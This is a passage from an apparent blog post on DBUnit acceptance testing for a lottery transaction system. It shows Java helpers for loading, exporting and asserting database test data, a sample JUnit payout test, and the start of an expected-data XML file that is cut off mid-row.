<span class="lnr">225 </span> <span class="Type">protected</span> IDataSet loadDataSet(String datasetFile, Map replacementMap) <span class="Type">throws</span> IOException,
<span class="lnr">226 </span> DataSetException {
<span class="lnr">227 </span> FlatXmlDataFileLoader loader = <span class="Statement">new</span> FlatXmlDataFileLoader();
<span class="lnr">228 </span> <span class="Statement">if</span> (replacementMap != <span class="Constant">null</span>)
<span class="lnr">229 </span> loader.addReplacementObjects(replacementMap);
<span class="lnr">230 </span> IDataSet dataset = <span class="Constant">null</span>;
<span class="lnr">231 </span> <span class="Statement">if</span> (datasetFile.startsWith(PATH_MODE_FILE)) {
<span class="lnr">232 </span> dataset = loader.getBuilder().build(
<span class="lnr">233 </span> <span class="Statement">new</span> File(datasetFile.substring(PATH_MODE_FILE.length())));
<span class="lnr">234 </span> } <span class="Statement">else</span> <span class="Statement">if</span> (datasetFile.startsWith(PATH_MODE_CLASSPATH)) {
<span class="lnr">235 </span> dataset = loader.load(datasetFile.substring(PATH_MODE_CLASSPATH.length()));
<span class="lnr">236 </span> }
<span class="lnr">237 </span> <span class="Statement">return</span> dataset;
<span class="lnr">238 </span> }
<span class="lnr">239 </span>
<span class="lnr">240 </span> <span class="Comment">/**</span>
<span class="lnr">241 </span><span class="Comment"> *</span><span class="Special"> Represents the underlying database table which will used to be compared</span>
<span class="lnr">242 </span><span class="Comment"> *</span><span class="Special"> with expected tables.</span>
<span class="lnr">243 </span><span class="Comment"> * </span>
<span class="lnr">244 </span><span class="Comment"> * </span><span class="Special">@author</span><span class="Comment"> Ramon Li</span>
<span class="lnr">245 </span><span class="Comment"> */</span>
<span class="lnr">246 </span> <span class="Type">protected</span> <span class="Type">class</span> DbAssertTable {
<span class="lnr">247 </span> <span class="Type">private</span> String tableName;
<span class="lnr">248 </span> <span class="Type">private</span> String query;
<span class="lnr">249 </span> <span class="Type">private</span> String[] sort;
<span class="lnr">250 </span>
<span class="lnr">251 </span> <span class="Type">public</span> DbAssertTable(String tableName, String query, String[] sort) {
<span class="lnr">252 </span> <span class="Statement">if</span> (tableName == <span class="Constant">null</span>)
<span class="lnr">253 </span> <span class="Statement">throw</span> <span class="Statement">new</span> IllegalArgumentException(<span class="Constant">"argument 'tableName' can't be null"</span>);
<span class="lnr">254 </span> <span class="Type">this</span>.tableName = tableName;
<span class="lnr">255 </span> <span class="Type">this</span>.query = query;
<span class="lnr">256 </span> <span class="Type">this</span>.sort = sort;
<span class="lnr">257 </span> }
<span class="lnr">258 </span>
<span class="lnr">259 </span> <span class="Comment">/**</span>
<span class="lnr">260 </span><span class="Comment"> *</span><span class="Special"> The name of asserted table, actually it should be the SQL result name</span>
<span class="lnr">261 </span><span class="Comment"> *</span><span class="Special"> of </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special">query</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Special">, and the name must match with a table defined</span>
<span class="lnr">262 </span><span class="Comment"> *</span><span class="Special"> in expected test data file.</span>
<span class="lnr">263 </span><span class="Comment"> */</span>
<span class="lnr">264 </span> <span class="Type">public</span> String getTableName() {
<span class="lnr">265 </span> <span class="Statement">return</span> tableName;
<span class="lnr">266 </span> }
<span class="lnr">267 </span>
<span class="lnr">268 </span> <span class="Comment">/**</span>
<span class="lnr">269 </span><span class="Comment"> *</span><span class="Special"> A SQl query used to retrieve specific number of rows from underlying</span>
<span class="lnr">270 </span><span class="Comment"> *</span><span class="Special"> database.</span><span class="Comment"> If you want to get some rows which satify specific</span>
<span class="lnr">271 </span><span class="Comment"> * condition of a given table, a query should be specified.</span>
<span class="lnr">272 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="lnr">273 </span><span class="Comment"> * Also you may want to retrieve a result by join different real</span>
<span class="lnr">274 </span><span class="Comment"> * database tables, in this case, the </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">tableName</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment"> doesn't</span>
<span class="lnr">275 </span><span class="Comment"> * need to be a real database table name, but it must match with the</span>
<span class="lnr">276 </span><span class="Comment"> * corresponding table defined in expeced data set file.</span>
<span class="lnr">277 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="lnr">278 </span><span class="Comment"> * If query is null, the </span><span class="Identifier"><</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment">tableName</span><span class="Identifier"></</span><span class="Statement">code</span><span class="Identifier">></span><span class="Comment"> must be a real database</span>
<span class="lnr">279 </span><span class="Comment"> * table name, and all rows in that table will be returned.</span>
<span class="lnr">280 </span><span class="Comment"> */</span>
<span class="lnr">281 </span> <span class="Type">public</span> String getQuery() {
<span class="lnr">282 </span> <span class="Statement">return</span> query;
<span class="lnr">283 </span> }
<span class="lnr">284 </span>
<span class="lnr">285 </span> <span class="Comment">/**</span>
<span class="lnr">286 </span><span class="Comment"> *</span><span class="Special"> As DBUnit doesn't guarantee the order of returned rows, we would</span>
<span class="lnr">287 </span><span class="Comment"> *</span><span class="Special"> better specify the columns used to sort rows explicitly.</span>
<span class="lnr">288 </span><span class="Comment"> * </span><span class="Identifier"><</span><span class="Statement">p</span><span class="Identifier">></span>
<span class="lnr">289 </span><span class="Comment"> * If sort columns are null, no sort operation will be performed.</span>
<span class="lnr">290 </span><span class="Comment"> */</span>
<span class="lnr">291 </span> <span class="Type">public</span> String[] getSort() {
<span class="lnr">292 </span> <span class="Statement">return</span> sort;
<span class="lnr">293 </span> }
<span class="lnr">294 </span> }
<span class="lnr">295 </span>
<span class="lnr">296 </span> <span class="Comment">/**</span>
<span class="lnr">297 </span><span class="Comment"> *</span><span class="Special"> Run a given SQL against underlying database.</span>
<span class="lnr">298 </span><span class="Comment"> */</span>
<span class="lnr">299 </span> <span class="Type">protected</span> <span class="Type">void</span> sqlExec(IDatabaseConnection conn, String sql) <span class="Type">throws</span> Exception {
<span class="lnr">300 </span> Statement state = conn.getConnection().createStatement();
<span class="lnr">301 </span> state.execute(sql);
<span class="lnr">302 </span> state.close();
<span class="lnr">303 </span> conn.getConnection().commit();
<span class="lnr">304 </span> }
<span class="lnr">305 </span>
<span class="lnr">306 </span> <span class="Comment">/**</span>
<span class="lnr">307 </span><span class="Comment"> *</span><span class="Special"> Run a given SQL against underlying database, and return the int value of</span>
<span class="lnr">308 </span><span class="Comment"> *</span><span class="Special"> sql result.</span>
<span class="lnr">309 </span><span class="Comment"> */</span>
<span class="lnr">310 </span> <span class="Type">protected</span> <span class="Type">int</span> sqlQueryInt(IDatabaseConnection conn, String sql) <span class="Type">throws</span> Exception {
<span class="lnr">311 </span> <span class="Type">int</span> result = <span class="Constant">0</span>;
<span class="lnr">312 </span> Statement state = conn.getConnection().createStatement();
<span class="lnr">313 </span> ResultSet rs = state.executeQuery(sql);
<span class="lnr">314 </span> <span class="Statement">if</span> (rs.next()) {
<span class="lnr">315 </span> result = rs.getInt(<span class="Constant">1</span>);
<span class="lnr">316 </span> }
<span class="lnr">317 </span> rs.close();
<span class="lnr">318 </span> state.close();
<span class="lnr">319 </span> conn.getConnection().commit();
<span class="lnr">320 </span> <span class="Statement">return</span> result;
<span class="lnr">321 </span> }
<span class="lnr">322 </span>
<span class="lnr">323 </span> <span class="Type">public</span> IgpeClient setupIgpeClient() <span class="Type">throws</span> Exception {
<span class="lnr">324 </span> Connection conn = <span class="Constant">null</span>;
<span class="lnr">325 </span> <span class="Statement">try</span> {
<span class="lnr">326 </span> <span class="Comment">// retrieve latest data/mac key</span>
<span class="lnr">327 </span> conn = setupConnection();
<span class="lnr">328 </span> <span class="Statement">return</span> <span class="Statement">new</span> IntegrationTestIgpeClient(igpeHost, igpePort);
<span class="lnr">329 </span> } <span class="Statement">finally</span> {
<span class="lnr">330 </span> <span class="Statement">if</span> (conn != <span class="Constant">null</span>)
<span class="lnr">331 </span> conn.close();
<span class="lnr">332 </span> }
<span class="lnr">333 </span> }
<span class="lnr">334 </span>
<span class="lnr">335 </span> <span class="Comment">/**</span>
<span class="lnr">336 </span><span class="Comment"> *</span><span class="Special"> Generate timestamp string of current time.</span>
<span class="lnr">337 </span><span class="Comment"> */</span>
<span class="lnr">338 </span> <span class="Type">protected</span> String generateTimestamp() {
<span class="lnr">339 </span> SimpleDateFormat sdf = <span class="Statement">new</span> SimpleDateFormat(<span class="Constant">"yyyyMMddHHmmss"</span>);
<span class="lnr">340 </span> <span class="Statement">return</span> sdf.format(<span class="Statement">new</span> Date());
<span class="lnr">341 </span> }
<span class="lnr">342 </span>
<span class="lnr">343 </span> <span class="Comment">/**</span>
<span class="lnr">344 </span><span class="Comment"> *</span><span class="Special"> Decrypt the message body into plain text.</span>
<span class="lnr">345 </span><span class="Comment"> * </span>
<span class="lnr">346 </span><span class="Comment"> * </span><span class="Special">@param</span><span class="Identifier"> respTlvs</span><span class="Comment"> The collection of responded TLVs.</span>
<span class="lnr">347 </span><span class="Comment"> * </span><span class="Special">@return</span><span class="Comment"> the plain text of message body which is encrypted.</span>
<span class="lnr">348 </span><span class="Comment"> * </span><span class="Special">@throws</span><span class="Identifier"> Exception</span><span class="Comment"> when encounter any exceptions.</span>
<span class="lnr">349 </span><span class="Comment"> */</span>
<span class="lnr">350 </span> <span class="Type">protected</span> String getPlainMessageBody(LinkedList<TLVElement> respTlvs) <span class="Type">throws</span> Exception {
<span class="lnr">351 </span> <span class="Statement">return</span> <span class="Type">this</span>.getPlainMessageBody(respTlvs, <span class="Type">this</span>.dataKey);
<span class="lnr">352 </span> }
<span class="lnr">353 </span>
<span class="lnr">354 </span> <span class="Type">protected</span> String getPlainMessageBody(LinkedList<TLVElement> respTlvs, String key)
<span class="lnr">355 </span> <span class="Type">throws</span> Exception {
<span class="lnr">356 </span> TLVElement msgBodyTlv = TLVParser.GetObjectFromList(respTlvs, Constants.TAG_MESSAGE_BODY);
<span class="lnr">357 </span> <span class="Statement">return</span> SecurityMeasurements.TripleDESCBCDecryptToString(msgBodyTlv.GetValueAsString(), key);
<span class="lnr">358 </span> }
<span class="lnr">359 </span>
<span class="lnr">360 </span> <span class="Type">public</span> <span class="Type">static</span> Connection setupConnection(String url, Driver driver, String userName,
<span class="lnr">361 </span> String passwd) <span class="Type">throws</span> SQLException {
<span class="lnr">362 </span> DriverManager.registerDriver(driver);
<span class="lnr">363 </span> <span class="Statement">return</span> DriverManager.getConnection(url, userName, passwd);
<span class="lnr">364 </span> }
<span class="lnr">365 </span>
<span class="lnr">366 </span> <span class="Type">public</span> <span class="Type">static</span> Connection setupConnection() <span class="Type">throws</span> SQLException {
<span class="lnr">367 </span> <span class="Statement">return</span> setupConnection(<span class="Constant">"jdbc:oracle:thin:@192.168.2.9:1521/orcl"</span>,
<span class="lnr">368 </span> <span class="Statement">new</span> oracle.jdbc.driver.OracleDriver(), <span class="Constant">"ramonal"</span>, <span class="Constant">"ramonal"</span>);
<span class="lnr">369 </span> }
<span class="lnr">370 </span>
<span class="lnr">371 </span> <span class="Type">private</span> <span class="Type">final</span> <span class="Type">static</span> <span class="Type">int</span> MODE_LOAD = <span class="Constant">1</span>;
<span class="lnr">372 </span> <span class="Type">private</span> <span class="Type">final</span> <span class="Type">static</span> <span class="Type">int</span> MODE_EXPORT = <span class="Constant">2</span>;
<span class="lnr">373 </span>
<span class="lnr">374 </span> <span class="Comment">/**</span>
<span class="lnr">375 </span><span class="Comment"> *</span><span class="Special"> How to extract a flat XML dataset from my database?</span>
<span class="lnr">376 </span><span class="Special"> </span><span class="Comment">*/</span>
<span class="lnr">377 </span> <span class="Type">public</span> <span class="Type">static</span> <span class="Type">void</span> main(String args[]) <span class="Type">throws</span> Exception {
<span class="lnr">378 </span> <span class="Statement">if</span> (args.length != <span class="Constant">2</span>) {
<span class="lnr">379 </span> System.out.println(<span class="Constant">"[USAGE]"</span>);
<span class="lnr">380 </span> System.out.println(<span class="Constant">"java "</span> + BaseAcceptanceTest.<span class="Type">class</span>.getCanonicalName()
<span class="lnr">381 </span> + <span class="Constant">" -l [test data source file to be loaded]"</span>);
<span class="lnr">382 </span> System.out.println(<span class="Constant">"OR"</span>);
<span class="lnr">383 </span> System.out.println(<span class="Constant">"java "</span> + BaseAcceptanceTest.<span class="Type">class</span>.getCanonicalName()
<span class="lnr">384 </span> + <span class="Constant">" -e [test data destination file to be exported]"</span>);
<span class="lnr">385 </span> System.exit(<span class="Constant">0</span>);
<span class="lnr">386 </span> }
<span class="lnr">387 </span>
<span class="lnr">388 </span> <span class="Type">int</span> mode = -<span class="Constant">1</span>;
<span class="lnr">389 </span> <span class="Statement">if</span> (<span class="Constant">"-l"</span>.equals(args[<span class="Constant">0</span>]))
<span class="lnr">390 </span> mode = MODE_LOAD;
<span class="lnr">391 </span> <span class="Statement">else</span> <span class="Statement">if</span> (<span class="Constant">"-e"</span>.equals(args[<span class="Constant">0</span>]))
<span class="lnr">392 </span> mode = MODE_EXPORT;
<span class="lnr">393 </span> <span class="Statement">else</span>
<span class="lnr">394 </span> <span class="Statement">throw</span> <span class="Statement">new</span> IllegalArgumentException(<span class="Constant">"unsupport mode:"</span> + args[<span class="Constant">0</span>]);
<span class="lnr">395 </span> String testDataFile = args[<span class="Constant">1</span>];
<span class="lnr">396 </span>
<span class="lnr">397 </span> <span class="Comment">// we can reuse IDatabaseConnection, it represents a specific underlying</span>
<span class="lnr">398 </span> <span class="Comment">// database connection.</span>
<span class="lnr">399 </span> <span class="Comment">// must use this constructor which specify 'scheme', otherwise a</span>
<span class="lnr">400 </span> <span class="Comment">// 'AmbiguousTableNameException' will be thrown out.</span>
<span class="lnr">401 </span> IDatabaseConnection connection = <span class="Statement">new</span> DatabaseConnection(setupConnection(), <span class="Constant">"ramonal"</span>, <span class="Constant">true</span>);
<span class="lnr">402 </span> connection.getConfig().setProperty(<span class="Constant">"<a href="http://www.dbunit.org/properties/datatypeFactory">http://www.dbunit.org/properties/datatypeFactory</a>"</span>,
<span class="lnr">403 </span> <span class="Statement">new</span> Oracle10DataTypeFactory());
<span class="lnr">404 </span>
<span class="lnr">405 </span> <span class="Statement">if</span> (MODE_LOAD == mode) {
<span class="lnr">406 </span> FlatXmlDataFileLoader loader = <span class="Statement">new</span> FlatXmlDataFileLoader();
<span class="lnr">407 </span> Map replaceMap = <span class="Statement">new</span> HashMap();
<span class="lnr">408 </span> replaceMap.put(<span class="Constant">"[NULL]"</span>, <span class="Constant">null</span>);
<span class="lnr">409 </span> loader.addReplacementObjects(replaceMap);
<span class="lnr">410 </span> IDataSet testData = loader.getBuilder().build(<span class="Statement">new</span> File(testDataFile));
<span class="lnr">411 </span> DatabaseOperation.CLEAN_INSERT.execute(connection, testData);
<span class="lnr">412 </span> System.out.println(<span class="Constant">"Load test data("</span> + testDataFile + <span class="Constant">") successfully"</span>);
<span class="lnr">413 </span> <span class="Statement">return</span>;
<span class="lnr">414 </span> }
<span class="lnr">415 </span>
<span class="lnr">416 </span> <span class="Statement">if</span> (MODE_EXPORT == mode) {
<span class="lnr">417 </span> <span class="Comment">// partial database export</span>
<span class="lnr">418 </span> QueryDataSet partialDataSet = <span class="Statement">new</span> QueryDataSet(connection);
<span class="lnr">419 </span> partialDataSet.addTable(<span class="Constant">"TE_SEQUENCE"</span>);
<span class="lnr">420 </span> partialDataSet.addTable(<span class="Constant">"SYS_CONFIGURATION"</span>);
<span class="lnr">421 </span> partialDataSet.addTable(<span class="Constant">"TELCO"</span>);
<span class="lnr">422 </span> partialDataSet.addTable(<span class="Constant">"GPE"</span>);
<span class="lnr">423 </span> partialDataSet.addTable(<span class="Constant">"MERCHANT"</span>);
<span class="lnr">424 </span> partialDataSet.addTable(<span class="Constant">"TELCO_MERCHANT"</span>);
<span class="lnr">425 </span> partialDataSet.addTable(<span class="Constant">"DEVICE_PHYSICAL_AVAILABILITY"</span>);
<span class="lnr">426 </span> partialDataSet.addTable(<span class="Constant">"DEVICE_TYPE"</span>);
<span class="lnr">427 </span> partialDataSet.addTable(<span class="Constant">"DEVICES"</span>);
<span class="lnr">428 </span> partialDataSet.addTable(<span class="Constant">"HMAC_KEY"</span>);
<span class="lnr">429 </span> partialDataSet.addTable(<span class="Constant">"DEPARTMENT"</span>);
<span class="lnr">430 </span> partialDataSet.addTable(<span class="Constant">"ROLE"</span>);
<span class="lnr">431 </span> partialDataSet.addTable(<span class="Constant">"LANGUAGES"</span>);
<span class="lnr">432 </span> partialDataSet.addTable(<span class="Constant">"OPERATOR"</span>);
<span class="lnr">433 </span> partialDataSet.addTable(<span class="Constant">"OPERATOR_MERCHANT"</span>);
<span class="lnr">434 </span> partialDataSet.addTable(<span class="Constant">"LOTTO_FUN_TYPE"</span>);
<span class="lnr">435 </span> partialDataSet.addTable(<span class="Constant">"LOTTO_OPERATION_PARAMETERS"</span>);
<span class="lnr">436 </span> partialDataSet.addTable(<span class="Constant">"IG_OPERATION_PARAMETERS"</span>);
<span class="lnr">437 </span> partialDataSet.addTable(<span class="Constant">"WINNER_TAX_POLICY"</span>);
<span class="lnr">438 </span> partialDataSet.addTable(<span class="Constant">"TAX_DATE_RANGE"</span>);
<span class="lnr">439 </span> partialDataSet.addTable(<span class="Constant">"WINNER_TAX_THRESHOLDS"</span>);
<span class="lnr">440 </span> partialDataSet.addTable(<span class="Constant">"GAME_TYPE"</span>);
<span class="lnr">441 </span> partialDataSet.addTable(<span class="Constant">"GAME"</span>);
<span class="lnr">442 </span> partialDataSet.addTable(<span class="Constant">"GAME_MERCHANT"</span>);
<span class="lnr">443 </span> partialDataSet.addTable(<span class="Constant">"GAME_INSTANCE"</span>);
<span class="lnr">444 </span> partialDataSet.addTable(<span class="Constant">"GAME_RESULTS"</span>);
<span class="lnr">445 </span> partialDataSet.addTable(<span class="Constant">"TE_TRANSACTION"</span>);
<span class="lnr">446 </span> partialDataSet.addTable(<span class="Constant">"TE_TRANSACTION_MSG"</span>);
<span class="lnr">447 </span> partialDataSet.addTable(<span class="Constant">"TE_TICKET"</span>);
<span class="lnr">448 </span> partialDataSet.addTable(<span class="Constant">"TE_LOTTO_ENTRY"</span>);
<span class="lnr">449 </span> partialDataSet.addTable(<span class="Constant">"WINNING"</span>);
<span class="lnr">450 </span> partialDataSet.addTable(<span class="Constant">"WINNING_STATISTICS"</span>);
<span class="lnr">451 </span> partialDataSet.addTable(<span class="Constant">"PRIZE_PARAMETERS"</span>);
<span class="lnr">452 </span> partialDataSet.addTable(<span class="Constant">"PAYOUT_DETAIL"</span>);
<span class="lnr">453 </span> partialDataSet.addTable(<span class="Constant">"PAYOUT"</span>);
<span class="lnr">454 </span> partialDataSet.addTable(<span class="Constant">"MERCHANT_GAME_PROPERTIES"</span>);
<span class="lnr">455 </span> partialDataSet.addTable(<span class="Constant">"IG_GAME_INSTANCE"</span>);
<span class="lnr">456 </span> partialDataSet.addTable(<span class="Constant">"INSTANT_TICKET"</span>);
<span class="lnr">457 </span> partialDataSet.addTable(<span class="Constant">"INSTANT_TICKET_VIRN"</span>);
<span class="lnr">458 </span> partialDataSet.addTable(<span class="Constant">"OPERATOR_SESSION"</span>);
<span class="lnr">459 </span> partialDataSet.addTable(<span class="Constant">"ACCESS_RIGHT"</span>);
<span class="lnr">460 </span> partialDataSet.addTable(<span class="Constant">"ROLE_ACCESS"</span>);
<span class="lnr">461 </span> partialDataSet.addTable(<span class="Constant">"BD_LOGO"</span>);
<span class="lnr">462 </span> partialDataSet.addTable(<span class="Constant">"BD_MARKETING_MESSAGE"</span>);
<span class="lnr">463 </span> partialDataSet.addTable(<span class="Constant">"WINNING_OBJECT"</span>);
<span class="lnr">464 </span> partialDataSet.addTable(<span class="Constant">"BD_PRIZE_LOGIC"</span>);
<span class="lnr">465 </span> partialDataSet.addTable(<span class="Constant">"BD_PRIZE_OBJECT"</span>);
<span class="lnr">466 </span> partialDataSet.addTable(<span class="Constant">"BD_PRIZE_LEVEL"</span>);
<span class="lnr">467 </span> partialDataSet.addTable(<span class="Constant">"BD_PRIZE_LEVEL_ITEM"</span>);
<span class="lnr">468 </span> partialDataSet.addTable(<span class="Constant">"BD_PRIZE_GROUP"</span>);
<span class="lnr">469 </span> partialDataSet.addTable(<span class="Constant">"BD_PRIZE_GROUP_ITEM"</span>);
<span class="lnr">470 </span> partialDataSet.addTable(<span class="Constant">"OBJECT_PRIZE_PARAMETERS"</span>);
<span class="lnr">471 </span> partialDataSet.addTable(<span class="Constant">"DW_OPERATOR"</span>);
<span class="lnr">472 </span> partialDataSet.addTable(<span class="Constant">"DW_CARD"</span>);
<span class="lnr">473 </span> partialDataSet.addTable(<span class="Constant">"DW_MERCHANT_TOPUP_LOG"</span>);
<span class="lnr">474 </span> partialDataSet.addTable(<span class="Constant">"WINNING_DAILY_CASH"</span>);
<span class="lnr">475 </span> partialDataSet.addTable(<span class="Constant">"PRIZE_LOGIC"</span>);
<span class="lnr">476 </span> FlatXmlDataSet.write(partialDataSet, <span class="Statement">new</span> FileOutputStream(testDataFile));
<span class="lnr">477 </span> System.out.println(<span class="Constant">"export test data("</span> + testDataFile + <span class="Constant">") successfully!"</span>);
<span class="lnr">478 </span> <span class="Statement">return</span>;
<span class="lnr">479 </span> }
<span class="lnr">480 </span> }
<span class="lnr">481 </span>}
</pre>
In this base test class, setUp() will load all initial test data from "testdata.xml" which locate at root package.<br />
<br />
Below is a test class extending from BaseAcceptanceTest.<br />
<br />
<pre style="background-color:white;border-style:dotted"><span class="lnr"> 1 </span><span class="PreProc">package</span> net.mpos.igpe.transactions.payout;
<span class="lnr"> 2 </span>
<span class="lnr"> 3 </span><span class="PreProc">import static</span> org.junit.Assert.assertEquals;
<span class="lnr"> 4 </span>
<span class="lnr"> 5 </span><span class="PreProc">import</span> java.util.Arrays;
<span class="lnr"> 6 </span><span class="PreProc">import</span> java.util.HashMap;
<span class="lnr"> 7 </span><span class="PreProc">import</span> java.util.LinkedList;
<span class="lnr"> 8 </span><span class="PreProc">import</span> java.util.Map;
<span class="lnr"> 9 </span>
<span class="lnr">10 </span><span class="PreProc">import</span> net.mpos.igpe.common.tlvutilities.TLVElement;
<span class="lnr">11 </span><span class="PreProc">import</span> net.mpos.igpe.common.tlvutilities.TLVParser;
<span class="lnr">12 </span><span class="PreProc">import</span> net.mpos.igpe.core.Constants;
<span class="lnr">13 </span><span class="PreProc">import</span> net.mpos.igpe.test.BaseAcceptanceTest;
<span class="lnr">14 </span><span class="PreProc">import</span> net.mpos.igpe.test.IgpeClient;
<span class="lnr">15 </span>
<span class="lnr">16 </span><span class="PreProc">import</span> org.junit.Test;
<span class="lnr">17 </span>
<span class="lnr">18 </span><span class="Type">public</span> <span class="Type">class</span> PayoutAcceptanceTest <span class="Type">extends</span> BaseAcceptanceTest {
<span class="lnr">19 </span>
<span class="lnr">20 </span> <span class="PreProc">@Test</span>
<span class="lnr">21 </span> <span class="Type">public</span> <span class="Type">void</span> testPayout_WithoutLGPrize_OldPOS_OK() <span class="Type">throws</span> Exception {
<span class="lnr">22 </span> IgpeClient igpeClient = <span class="Type">this</span>.setupIgpeClient();
<span class="lnr">23 </span> String traceMsgId = generateTimestamp();
<span class="lnr">24 </span> LinkedList<TLVElement> resp = igpeClient
<span class="lnr">25 </span> .igpe(<span class="Constant">"1.4"</span>, traceMsgId, generateTimestamp(), opLoginName,
<span class="lnr">26 </span> Constants.REQ_PAYOUT + <span class="Constant">""</span>, deviceId + <span class="Constant">""</span>, batchNo,
<span class="lnr">27 </span> Constants.INVALIDATION_VALUE + <span class="Constant">""</span>, <span class="Constant">"#S-123456#PIN-111#2#"</span>, dataKey, macKey);
<span class="lnr">28 </span> String respCode = TLVParser.GetObjectFromList(resp, Constants.TAG_RESPONSE_CODE)
<span class="lnr">29 </span> .GetValueAsString();
<span class="lnr">30 </span> assertEquals(<span class="Constant">"#1#200##"</span>, respCode);
<span class="lnr">31 </span> String msgBody = <span class="Type">this</span>.getPlainMessageBody(resp);
<span class="lnr">32 </span> System.out.println(msgBody);
<span class="lnr">33 </span>
<span class="lnr">34 </span> <span class="Comment">// ----- assert database</span>
<span class="lnr">35 </span> Map replacementMap = <span class="Statement">new</span> HashMap();
<span class="lnr">36 </span> <span class="Comment">// dynamicaly replace palceholder in expected test data file.</span>
<span class="lnr">37 </span> replacementMap.put(<span class="Constant">"${TICKET_SERIALNO}"</span>, <span class="Constant">"Dwl8yOheqKjhNA2RNW9GFQ=="</span>);
<span class="lnr">38 </span> replacementMap.put(<span class="Constant">"${TRACE_MSG_ID}"</span>, traceMsgId);
<span class="lnr">39 </span> String transId = TLVParser.GetObjectFromList(resp, Constants.TAG_TRANSACTION_ID)
<span class="lnr">40 </span> .GetValueAsString();
<span class="lnr">41 </span> <span class="Type">this</span>.assertTable(replacementMap, Arrays.asList(<span class="Statement">new</span> DbAssertTable(<span class="Constant">"TE_TICKET"</span>,
<span class="lnr">42 </span> <span class="Constant">"select * from TE_TICKET where SERIAL_NO='Dwl8yOheqKjhNA2RNW9GFQ=='"</span>,
<span class="lnr">43 </span> <span class="Statement">new</span> String[] { <span class="Constant">"GAME_INSTANCE_ID"</span> }),
<span class="lnr">44 </span> <span class="Comment">// only one expected row, no need to set sorting columns.</span>
<span class="lnr">45 </span> <span class="Statement">new</span> DbAssertTable(<span class="Constant">"TE_Transaction"</span>, <span class="Constant">"select * from TE_TRANSACTION where ID='"</span>
<span class="lnr">46 </span> + transId + <span class="Constant">"'"</span>, <span class="Constant">null</span>)));
<span class="lnr">47 </span> }
<span class="lnr">48 </span>
<span class="lnr">49 </span>}
</pre>
In the test case testPayout_WithoutLGPrize_OldPOS_OK(), it will call assertTable() which will compare expected data set against the underlying database. You can check assertTable() for detail implementation, it is easy to understand.
Our expected test data file: PayoutAcceptanceTest.testPayout_WithLGPrize_NewPOS_OK.expected.xml
<br />
<pre style="background-color:white;border-style:dotted"><span class="lnr">1 </span><span class="Comment"><?</span><span class="Type">xml</span><span class="Type"> </span><span class="Type">version</span>=<span class="Constant">'1.0'</span><span class="Type"> </span><span class="Type">encoding</span>=<span class="Constant">'UTF-8'</span><span class="Comment">?></span>
<span class="lnr">2 </span><span class="Identifier"><</span><span class="Identifier">dataset</span><span class="Identifier">></span>
<span class="lnr">3 </span> <span class="Identifier"><</span><span class="Identifier">TE_TICKET</span><span class="Identifier"> </span><span class="Type">ID</span>=<span class="Constant">"TICKET-111"</span><span class="Identifier"> </span><span class="Type">GAME_INSTANCE_ID</span>=<span class="Constant">"GII-111"</span><span class="Identifier"> </span><span class="Type">TRANSACTION_ID</span>=<span class="Constant">"TRANS-111"</span><span class="Identifier"> </span><span class="Type">VERSION</span>=<span class="Constant">"1"</span><span class="Identifier"> </span><span class="Type">SERIAL_NO</span>=<span class="Constant">"Dwl8yOheqKjhNA2RNW9GFQ=="</span><span class="Identifier"> </span><span class="Type">TOTAL_AMOUNT</span>=<span class="Constant">"2500.1"</span><span class="Identifier"> </span><span class="Type">IS_WINNING</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">STATUS</span>=<span class="Constant">"5"</span><span class="Identifier"> </span><span class="Type">PIN</span>=<span class="Constant">"f5e09f731f7dffc2a603a7b9b977b2ca"</span><span class="Identifier"> </span><span class="Type">IS_OFFLINE</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">IS_COUNT_IN_POOL</span>=<span class="Constant">"1"</span><span class="Identifier"> </span><span class="Type">IS_BLOCK_PAYOUT</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">SETTLEMENT_FLAG</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">OPERATOR_ID</span>=<span class="Constant">"OPERATOR-111"</span><span class="Identifier"> </span><span class="Type">DEV_ID</span>=<span class="Constant">"111"</span><span class="Identifier"> </span><span class="Type">MERCHANT_ID</span>=<span class="Constant">"111"</span><span class="Identifier"> </span><span class="Type">EXTEND_TEXT</span>=<span class="Constant">"90091b1caee72b14c5269c9214e66dab"</span><span class="Identifier"> </span><span class="Type">TICKET_TYPE</span>=<span class="Constant">"1"</span><span class="Identifier">/></span>
<span class="lnr">4 </span> <span class="Identifier"><</span><span class="Identifier">TE_TICKET</span><span class="Identifier"> </span><span class="Type">ID</span>=<span class="Constant">"TICKET-112"</span><span class="Identifier"> </span><span class="Type">GAME_INSTANCE_ID</span>=<span class="Constant">"GII-112"</span><span class="Identifier"> </span><span class="Type">TRANSACTION_ID</span>=<span class="Constant">"TRANS-111"</span><span class="Identifier"> </span><span class="Type">VERSION</span>=<span class="Constant">"1"</span><span class="Identifier"> </span><span class="Type">SERIAL_NO</span>=<span class="Constant">"Dwl8yOheqKjhNA2RNW9GFQ=="</span><span class="Identifier"> </span><span class="Type">TOTAL_AMOUNT</span>=<span class="Constant">"2500.1"</span><span class="Identifier"> </span><span class="Type">IS_WINNING</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">STATUS</span>=<span class="Constant">"5"</span><span class="Identifier"> </span><span class="Type">PIN</span>=<span class="Constant">"f5e09f731f7dffc2a603a7b9b977b2ca"</span><span class="Identifier"> </span><span class="Type">IS_OFFLINE</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">IS_COUNT_IN_POOL</span>=<span class="Constant">"1"</span><span class="Identifier"> </span><span class="Type">IS_BLOCK_PAYOUT</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">SETTLEMENT_FLAG</span>=<span class="Constant">"0"</span><span class="Identifier"> </span><span class="Type">OPERATOR_ID</span>=<span class="Constant">"OPERATOR-111"</span><span class="Identifier"> </span><span class="Type">DEV_ID</span>=<span class="Constant">"111"</span><span class="Identifier"> </span><span class="Type">MERCHANT_ID</span>=<span 